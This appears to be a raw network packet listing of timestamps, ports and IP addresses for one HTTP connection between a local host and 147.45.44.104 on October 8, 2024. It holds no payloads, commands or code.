Oct 8, 2024 03:30:55.936448097 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936455011 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.936500072 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.936533928 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936551094 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936577082 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936590910 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.936593056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936609030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936630964 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936638117 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.936650991 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936666012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936674118 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.936682940 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936697960 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936712027 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.936716080 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936736107 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.936917067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936933041 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936948061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936965942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936968088 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.936983109 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.936992884 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937000990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937017918 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937032938 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937033892 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937041998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937061071 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937077999 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937093019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937110901 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937128067 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937150002 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937166929 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937190056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937206030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937221050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937237024 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937252998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937253952 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937261105 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937280893 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937300920 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937320948 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937323093 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937339067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937361002 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937369108 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937391996 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937398911 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937410116 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937426090 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937443018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937455893 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937479973 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937565088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937581062 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937597990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937613964 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937630892 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937634945 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937658072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937664986 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937709093 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937747002 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937764883 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937782049 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937798977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937804937 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937813044 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937830925 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937839031 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937848091 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937870026 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937875032 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937891960 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937907934 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937913895 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.937927961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.937947035 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.938050985 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.938067913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.938083887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.938093901 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.938101053 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.938117981 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.938123941 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.938136101 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.938152075 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.938165903 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.938169956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.938186884 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.938189030 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.938204050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.938225031 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.938232899 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.938271046 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.024856091 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.024902105 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.024919033 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.024934053 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.024949074 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.024964094 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.024979115 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.024996042 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025193930 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.025193930 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.025394917 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025440931 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025454998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025481939 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025496960 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025526047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025542974 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025557995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025574923 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025587082 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025614977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025631905 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025648117 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025664091 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025681019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025697947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025705099 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.025705099 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.025705099 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.025705099 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.025705099 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.025705099 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.025743008 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025782108 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.025782108 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.025841951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025856018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.025873899 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026026964 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.026026964 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.026148081 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026184082 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026201010 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026216984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026236057 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026236057 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.026252985 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026263952 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.026295900 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026312113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026328087 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.026329041 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026346922 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026365042 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026370049 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.026381969 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026392937 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.026427984 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.026627064 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026654959 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026669979 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026702881 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.026721954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026738882 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026761055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026771069 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.026778936 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026797056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026819944 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.026828051 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026839972 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.026854038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026871920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026887894 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026905060 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.026911974 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026931047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026931047 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.026968956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.026979923 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.026988029 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027008057 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027024984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027029991 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027111053 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027127028 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027128935 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027147055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027162075 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027179003 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027195930 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027205944 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027214050 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027214050 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027221918 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027230978 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027245998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027245998 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027281046 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027281046 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027365923 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027393103 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027414083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027429104 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027441025 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027443886 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027462006 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027502060 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027519941 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027540922 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027545929 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027563095 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027579069 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027580976 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027595043 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027614117 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027615070 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027643919 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027647972 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027671099 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027688026 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027703047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027719975 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027735949 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027738094 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027738094 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027770996 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027802944 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027818918 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027833939 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027849913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027858019 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027868032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027884960 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.027971983 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.027988911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028004885 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028034925 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028026104 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.028053999 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028069019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028086901 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028098106 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.028098106 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.028103113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028120041 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.028120995 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028139114 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028155088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028160095 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.028182030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028201103 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028208971 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028211117 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.028264046 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.028315067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028332949 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028347969 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028361082 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.028366089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028383017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028383970 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.028400898 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028419018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028419971 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.028439045 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028455019 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.028512955 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028538942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028557062 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028557062 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.028577089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028594017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028600931 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.028613091 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028631926 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.028631926 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.028671026 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.115655899 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.115675926 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.115691900 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.115700960 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.115710020 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.115726948 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.115742922 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.115762949 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.115880966 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.116059065 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116075993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116092920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116118908 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116134882 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116151094 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116167068 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116240978 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.116240978 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.116240978 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.116277933 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116306067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116322041 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116327047 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.116348982 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116359949 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.116375923 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116391897 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116408110 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116420031 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.116425037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116441965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116446972 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.116468906 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116477966 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.116487026 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116503954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116519928 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116529942 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.116540909 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116560936 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.116616011 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116632938 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116660118 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.116741896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116755009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116777897 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.116848946 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116889000 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.116919994 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116966009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116985083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.116997957 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:56.117002964 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:56.117044926 CEST	49730	80	192.168.2.4	147.45.44.104
